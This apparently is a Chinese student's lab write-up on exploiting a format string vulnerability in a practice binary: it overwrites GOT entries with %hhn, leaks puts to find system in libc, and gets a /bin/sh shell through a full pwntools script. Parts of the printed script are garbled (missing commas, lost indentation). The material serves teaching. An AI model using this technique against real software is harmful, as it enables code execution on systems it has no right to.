漏洞分析技术实验3:格式化字符串漏洞

漏洞分析技术实验3:格式化字符串漏洞

FindFuner author

实验3:格式化字符串漏洞

1.实验环境

Linux虚拟机(Ubuntu)

format1、libc.so

2.实验原理

通过格式化字符串不仅可 以泄露内存数据,还能覆写内存。 在本实验中,将两种利用方式相结合,更好地体会格式化字符串漏洞。

n:它不是向printf()传递格式化信息,而是令printf()把自己已经输出的字符总数放到相应的整形变量中

举例: int i;

​ printf(“hello%n”,&i);

​ 此时 i 的值为 5.

printf 的缓冲区溢出一般printf (“%n”,a):当遇到%n时,程序会检查已经输入了多少字符串,然后将其写入到a中,可以通过这一点来改写栈中内存。

(1)%n写入的内存最大为4字节

(2)%hn写入的内存最大为2字节

(3)%hhn写入的内存最大为1字节

3.实验要求

1.format1进行详细分析,编写python脚本,要求拿到shell权限。

2.编写完成详细的实验分析报告,对python脚本和漏洞利用过程进行详细分析。

4.实验过程

分析format1

  1. 将format1拖入IDA进行初步分析。

​ 可以看到,main函数中调用了getname()函数,读取用户输入并通过printf输出。,在getname中 存在格式化字符串漏洞。

img

  1. 检查format1的保护机制

img

漏洞利用思路:3轮漏洞利用

(1)将exit函数的GOT表地址覆写为main函数的地址。

​ 先解决构建printf(format,argument)中format和argument 。

(2)通过printf格式化字符串漏洞,获取puts函数地址,再通过libc的相对地址偏移获取system的地址。

​ 通过格式化字符串漏洞,泄露内存数据。

(3)用格式化字符串漏洞,将system函数地址覆盖GOT表中printf函数的地址,并在buf中写入’/bin/sh’。当执行printf(buf)时,相当于执行system(‘/bin/sh’)。

​ 通过格式化字符串漏洞,覆写内存。

漏洞利用

  1. 获取main函数、exit_got、puts_got、printf_got地址

    ​ 将format1 拖入IDA中,易得 main 函数地址为 0x08048648 ,找到GOT表,得到 exit_got、puts_got、printf_got 地址,分别为 0x804a024、0x804A01C、0x804A014。

img

  1. 将exit函数的GOT表地址覆写为main函数的地址,每次退出时将再返回到main函数。

    (1)先解决构建printf(format,[argument])中format和argument :

    ​ format覆写的格式为:% width c % num $ hhn

    ​ width是将要写入到$hhn参数中的值,它由覆写的值和已经写入的长度决定,具体为:(已写入的长度-覆写的值)%0x100

    (2)num的确定

    ​ num定了要写入的第num个参数,通过调试具体分析一下。

    ​ 先查看buf的地址是printf的第几个参数,在调用printf处设置断点,buf的地址为0xffffcfbc,printf中格式化字符串的第7个参数,即(0xffffcfbc-0xffffcfa0)/ 4 = 7。

    img

    ​ 因为要把exit的GOT地址覆写为main函数地址(通过IDA可以获得main的函数地址0x08048648),所以应写入4个字节,即重复四次“% width c % num $ hhn”。

    ​ 粗略估计width最多占用3个字节,num最多占用2个字节,则每个格式“% width c % num $ hhn”占用12个字节,四次重复共48个字节,占用48/4=12个参数(实际可能用不到48个字节,少的部分用其他字符在最后填充)。

    ​ 由于buf是从第7个参数开始, 7-18个参数写入用于输出12个字节的基本格式,写入4个字节的地址从第7+12=19个参数开始。num依次为19、20、21、22。

    (3)覆盖exit的返回地址

    ​ 确定了width和num之后,再将要覆盖的exit@got地址0x804a024、0x804a025、0x804a026、0x804a027依次写入到第19、20、21、22个参数中,格式化字符串就构造好了。相当于构造了printf( “%72c%19$hhn%62c%20$hhn%126c%21$hhn%4c%22$hhnaaaa\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa 0\x04\x08\x27\xa0\x04\x08”)

    (4)脚本代码

    ​ 编写generate_format(addr, value)函数构造格式化字符串,addr为要覆写的地址,value为覆写的值。

    ​ 调用generate_format(exit_got,main),生成的payload作为输入。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    def generate_format(addr, value):
            payload = ''
            print_count = 0
            addr_part = ''
            for i in range(8):
                if (value >> (8*i)) == 0:
                    break
                one_byte = (value >> (8*i)) & 0xff
                payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 19 + i)
                print_count += (one_byte - print_count) % 0x100 
                addr_part += p32(addr + i)
    //48字节是粗略估计的,实际可能小于48,用a填充至48字节
            payload = payload.ljust(48, 'a')
            payload += addr_part
            return payload

    可以看到

    img

    ​ 可以看到,执行完printf后,格式化字符串漏洞就会将exit@got 覆写为main函数的地址,也就是将0x08048486覆盖为0x0848648

    img

    img

  2. 通过printf格式化字符串漏洞,获取puts函数地址,再通过 libc的相对地址偏移获取system的地址

    (1) 获取system的地址的思路

    ​ 通过格式化字符串漏洞,泄露内存数据最终的目的是获取到shell,即实现system(“/bin/sh”)。由于格式化字符串漏洞能够泄露内存关键数据,可以考虑利用这个漏洞泄露出system的地址

    (2)获得GOT表中puts的地址

    ​ 利用格式化字符串漏洞,泄露出GOT表中puts的地址,计算出system地址构造的格式化字符串格式为“%num$s+puts@got”,即把puts@got的地址写入buf,再通过%s读出。其中%num$s占4个字节,是第7个参数;puts@got占4个字节,是第8个参数,num就可以写为8,即将puts@got的地址写入到第8个参数的位置 。

    (3)计算system地址

    ​ 获取了puts的实际地址后,再利用libc中system函数与puts函数的偏移,通过libc中两个函数的偏移即可得到system的地址。

    (4)脚本代码如下:

    1
    2
    3
    4
    5
    6
    7
    p.recvuntil('Welcome~\n')
    payload = '%8$s'+p32(puts_got)
    p.sendline(payload)
    puts_addr = u32(p.recv(4))
    sys_addr = puts_addr - (libc.symbols['puts']-libc.symbols['system'])
    log.info('puts:%#x'%puts_addr)
    log.info('sys:%#x'%sys_addr)

    可以看到,输出的puts地址的值。

    img

  3. 用格式化字符串漏洞,将system函数地址覆盖GOT表中printf函数的地址,并在buf中写入’/bin/sh’。当执行printf(buf)时,相当于执行system(‘/bin/sh’)。

    (1)system函数地址覆盖GOT表中printf函数的地址

    ​ 调用generate_format(printf_got,sys_addr),生成的payload作为输入。

​ 可以看到在printf()函数执行前后,printf@got中地址的变化,由0xf75cd670变为0xf75beda0 (system地址)。

img

img

​ (2)在buf中写入’/bin/sh’。当执行printf(buf)时,相当于执行system(‘/bin/sh’)。

完整攻击脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
#context.log_level='debug'

def generate_format(addr, value):
payload = ''
print_count = 0
addr_part = ''
for i in range(8):
if (value >> (8*i)) == 0:
break
one_byte = (value >> (8*i)) & 0xff
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x10019 + i)
print_count += (one_byte - print_count) % 0x100 
addr_part += p32(addr + i)
payload = payload.ljust(48'a')
payload += addr_part
return payload

p=process('./format1')
libc = ELF('./libc.so')

main = 0x8048648
exit_got = 0x804a024
puts_got = 0x804A01C
printf_got = 0x804A014

#overwrite exit_got with main
p.recvuntil('Welcome~\n')
payload = generate_format(exit_got,main)
p.sendline(payload)

#leak system addr
p.recvuntil('Welcome~\n')
payload = '%8$s'+p32(puts_got)
p.sendline(payload)

puts_addr = u32(p.recv(4))
sys_addr = puts_addr - (libc.symbols['puts']-libc.symbols['system'])
log.info('puts:%#x'%puts_addr)
log.info('sys:%#x'%sys_addr)

#overwrite printf_got with system
p.recvuntil('Welcome~\n')
#gdb.attach(p)
#pause()
payload = generate_format(printf_got,sys_addr)
p.sendline(payload)

#binsh
p.recvuntil('Welcome~\n')
p.sendline('/bin/sh')
p.interactive()

脚本执行效果

image-20231106160744451

  • 标题: 漏洞分析技术实验3:格式化字符串漏洞
  • 作者: FindFuner
  • 创建于 : 2023-11-06 15:40:06
  • 更新于 : 2023-11-06 17:10:20
  • 链接: https://nnna48.github.io/2023/11/06/漏洞分析技术实验三/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。